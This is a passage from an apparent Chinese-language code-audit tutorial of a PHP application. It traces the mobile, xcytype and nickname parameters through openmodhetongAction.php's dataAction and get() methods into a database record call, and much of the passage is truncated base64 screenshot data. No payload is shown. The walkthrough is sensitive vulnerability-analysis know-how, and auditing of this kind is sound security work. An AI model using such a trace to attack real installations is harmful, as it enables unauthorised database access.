<p blockindex=39><img src=data:image/png;base64,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
|
|||
|
|
<p blockindex=40><code>d</code>的值是一个固定的值为<code>task</code></p>
|
|||
|
|
<p blockindex=41><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABtIAAAT6CAYAAADInPdJAAAAAXNSR0IArs4c6QAAAHhlWElmTU0AKgAAAAgABAEaAAUAAAABAAAAPgEbAAUAAAABAAAARgEoAAMAAAABAAIAAIdpAAQAAAABAAAATgAAAAAAAACQAAAAAQAAAJAAAAABAAOgAQADAAAAAQABAACgAgAEAAAAAQAABtKgAwAEAAAAAQAABPoAAAAAIqfWZQAAAAlwSFlzAAAWJQAAFiUBSVIk8AAAQABJREFUeAHsvedyHNmWpbldh4KgSHVF3erqth6b/jc2Nu//Em02wtqqurruTUUFFcpF+HzLA0ECIEACJJAkMpdnBqE8XHzn+HGPvc7aO/k//s//q49rlqos4vDwIPZms+Gvm80mXr58ObyuWf3Wv2q7Ljpem1u/45oV0zwiK2LvP3F8//UgDg7TOBi30b1exNH/+yZOflrG6byPxeqa9/pXJmACJmACJmACJmACJmACJmACJmACJmACJmACJmACJmACJmACJnALAukt1vn6VskQ0spRFLMy9p/lMZ31kW/qaOermL9p4+yoj2b99R22j8gETMAETMAETMAETMAETMAETMAETMAETMAETMAETMAETMAETODxEECRelxLgn8u2ysjezqJ6kkZoyIiXbdR40ZbvVxFvdpEi93tsxxvjwuJj9YETMAETMAETMAETMAETMAETMAETMAETMAETMAETMAETMAETOABCDwqR5pEtD6SSGd5VN9PYiQhreTndRP1i2WsXy1jte6i0XrXJqx8AILepAmYgAmYgAmYgAmYgAmYgAmYgAmYgAmYgAmYgAmYgAmYgAmYwO+SQD4Zj0L1z/orylOeY1bjd03TDCeuv2dZFuPx+KMgkgRxK01DX/U+bV/b2W3roxu4aQUdU1rEaK+Kvec5x4Ks1tbRzOs4U0rH4z66mv3d9H7/3gRMwARMwARMwARMwARMwARMwARMwARMwARMwARMwARMwARMwARuSSCfTMbRtm30m8sWrjTdimAXxS+JY5PJ5KOb1noS4vRVIpq2P5/PP09IkyiXk8exHEdJaseDp3lMsjrShnSOp6s4fd3F/ATBrks+enxewQRMwARMwARMwARMwARMwARMwARMwARMwARMwARMwARMwARMwAQ+RiCvqmoQva460uQmyxDCJIbtlt26u59v+jq8F/faRSFtvV7ftPqtfp+Q0jGbbmujjfdxpVWY05a43N6QzvFNPdRGqxHRrhjrPr7tROeXR0m6yNGzIvKSGmx1Ez3bnp92sVzch78NcY/9JGlGOsoiqudl5E0bGS691Rki40mH2HhZyPz4gXsNEzABEzABEzABEzABEzABEzABEzABEzABEzABEzABEzABEzCBhySQV2X5XlrH3Q4liF1c5DK7Krhd/Pvue73v4nuVEnJIFblb4Y5fk57jwCFXHFAT7U/URjtA9Mr6aJdtrH9GSHu9jrreRPdJWpTSRVZRPBvHwf8+jdleEtXZKTXXFvHLv69jNe+iv8Lhjoe/XT0pI8mqmPxlEk/+2yxGywX7mcfrvy8RAbvoKOx2L/v5pIPzm0zABEzABEzABEzABEzABEzABEzABEzABEzABEzABEzABEzABK4SQEWKa2ukXV3xLj9fdKTpfRLSLgprd9kWVi5SOpImsiyGlI6zb3CjjTeRtYhcZ+s4e9XEcnB0cR532/CwdpIh0hU40SaIdIfjmO51UfQc7wkOOP3tPhYJcXkWm6qIYm8Uk2dVVCdNlC3iYH5ZdLyP3XkbJmACJmACJmACJmACJmACJmACJmACJmACJmACJmACJmACJmACn08gV/0ypV3suu7zt3a+BQlno9HoUlrIT914ghMtCvItjnGi7Zex/yyNqqsjVji5TtZxekRqxDPcaJ9aGy0jteOYNJRVLq0rEnJDdjWpFnGJbbC43YdLTDpaXyCYTREE+VoqzWNHPbdVG5tmM7j87mM/n8rY7zMBEzABEzABEzABEzABEzABEzABEzABEzABEzABEzABEzABE3ifQC4BbblcUqOrff+vn/ibAofX7vWJm3j3NkSndFZG8WQcFbXRJiMEqeM2mqNlrI/qoYZZ3SQ3utES1XhDjEuTHmGvRxxD1KIe2c691st1ViJsIXDp2wyBSyKa0kb27flaQ6pKNoPoluAgC/2el+qxKZvkIIKxD7nutA92hbDHP5t3+4mC46iyyPKUimwbBDRSU5I2slmzrbe7YRs61sGlxntVN01injb1joi/MwETMAETMAETMAETMAETMAETMAETMAETMAETMAETMAETMAET+A0IDI601WpFjTFcXve0yI02Ho/vYWuISohX1VAbbRzjvSyqZBPrszoW/1jGEiGtvSCKXd2hhK0em1lSZFEWG9Io9lEvEa8Qp9C7BnFqcLwhXPUqlZYiV8kphsBVz9vozrVFbSfhOLJpRmpG6sSdwupM20m2ddkk1hV5ZAWaXMG2Nxyj9lNrP2wb7U1iXiIxTa435LdN3UZ91mwFOwS3IfUl20kQ2wr2k7Ce9tOzHR0Gq3gxARMwARMwARMwARMwARMwARMwARMwARMwARMwARMwARMwARP4DQnkG0SfpmnuVUhTakdt97MWxCupSYlqox2WMf2Wr9RGS1vEJwSmsxd1rE4Qu3CY3bgnxK+U2mcFjrZxtcHN1lNXjVSWvFqlVOTVlrjZENLQuQYBrMeyVuNIq2t+gQhX7SOgIcSlJWLcAa/9PNoMN1nTRoKbbKWUkvw9ofZZOU1jOqJ+W0+dtVP2gwim1I2bTRodrje+IKJ1kWyaIX3kekEayQ3bHiMWTjhWtpNPcvaBc42zatiOnII9tdTa+8u8+VnN4jebgAmYgAmYgAmYgAmYgAmYgAmYgAmYgAmYgAmYgAmYgAmYwB+FAD6sr3NRSsa+qiLdn8SYlI4HB6qNtoo4XcX6eB0nx0pJKSEKIevaBQdYnsfoGe//fhYHs4h9Xu1y6wJbH5Ma8s06Fn0WS6VTRJHrlW4RG9q6LmKdTqP8toxqqhfbwSWWV2hrVRKLtKNE2yrOkMXWS4S2SRXlD7OYPS2H/VQZNdtIDdnM17FiHxLvluSN5HARAhHS1j1utYhFU8VmksWM/eSzgv1ILEyjYD+bFUJh18RC9etWfaw/tQbctWz8SxMwARMwARMwARMwARMwARMwARMwARMwARMwARMwARMwARMwgY8ReCukKbWgnGRDisGPvevK3+U+06tXMa97WiSkJdMq8kNSOuICm0xJk/gGEezNAidaHfM5aRoRo4a0idfsM+EP2kaOI62ivtr4MIkZYtxGteB4rV9msaDeWr4kVWONeIXLLFUBNTnccnI0IqCNnle8RjFi/6MZQhoOMVVjS15R5QyxK1tuRbwUt1mxx7rPRjHBtTbB/aZ9dMsqFrN5LF+vIqnZD7tOSU2p2mskc4yuGFP/rYjRN6TCfIJrjtSVZck67KM7Zh1camt+zuSO82ICJmACJmACJmACJmACJmACJmACJmACJmACJmACJmACJmACJvCbEngrpJUoOLPZLIoCEemOi2qszefzIUXkHd96w+qqJ5bF6GmFm2yEUwsRSykXj+uo/46TDDeanGg3iWjbjfYIVtQpO1rEgvSN+YrzWuecH9+rVtkU8Up1zRCpRo3cZsngBIuqj72/IqI1rIc7LJOw1dbRvcEVhputW5JW8mfcaGekiaQGmrTDVu6zF3PcbW1kK1I/zlQvjfcneeRPpjGdjqNArJu1vPY4Ogq0VU+LeEI9taH2mvaDi61nOzXpKtsVQt8R+3jVxHwRUVMHTkkhvZiACZiACZiACZiACZiACZiACZiACZiACZiACZiACZiACZiACfx2BC4JaXt7ezGZTO6895OTk5CYplprn79IMFK9MFxg1Ebb+w5Ri9poOQ6v+UkTpz+tSJWIawwF68baaMNBbIW0FkGqxy2X1KRR5FXtFTFG6CpGFS6ySZRSwjptCVGLXff8Mxlr+0hXCHF9gxi3qGM9bxC31rHktTiqY3
|
|||
|
|
<p blockindex=42><strong>然后进入到task/openapi/openmodhetongAction.php的dataAction方法中</strong></p>
|
|||
|
|
<p blockindex=43><img src="data:image/jpeg;base64,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
|
|||
|
|
<p blockindex=44>该方法是通过get方法依次获取请求中的<code>moblie、xcytype、nickname</code>等参数，并将这些参数赋值给<code>uarr</code>数组中,</p>
|
|||
|
|
<p blockindex=45>之后根据<code>row($where)</code>的返回值不同给<code>$uarr['adddt']</code>或<code>$uarr['optdt']</code>赋值，最后调用<code>record</code>方法进行数据库查询</p>
|
|||
|
|
<p blockindex=46>我们进入到get方法中查看是否有什么过滤、点击ctrl进入到get方法声明中</p>
|
|||
|
|
<p blockindex=47><img src=data:image/jpeg;base64,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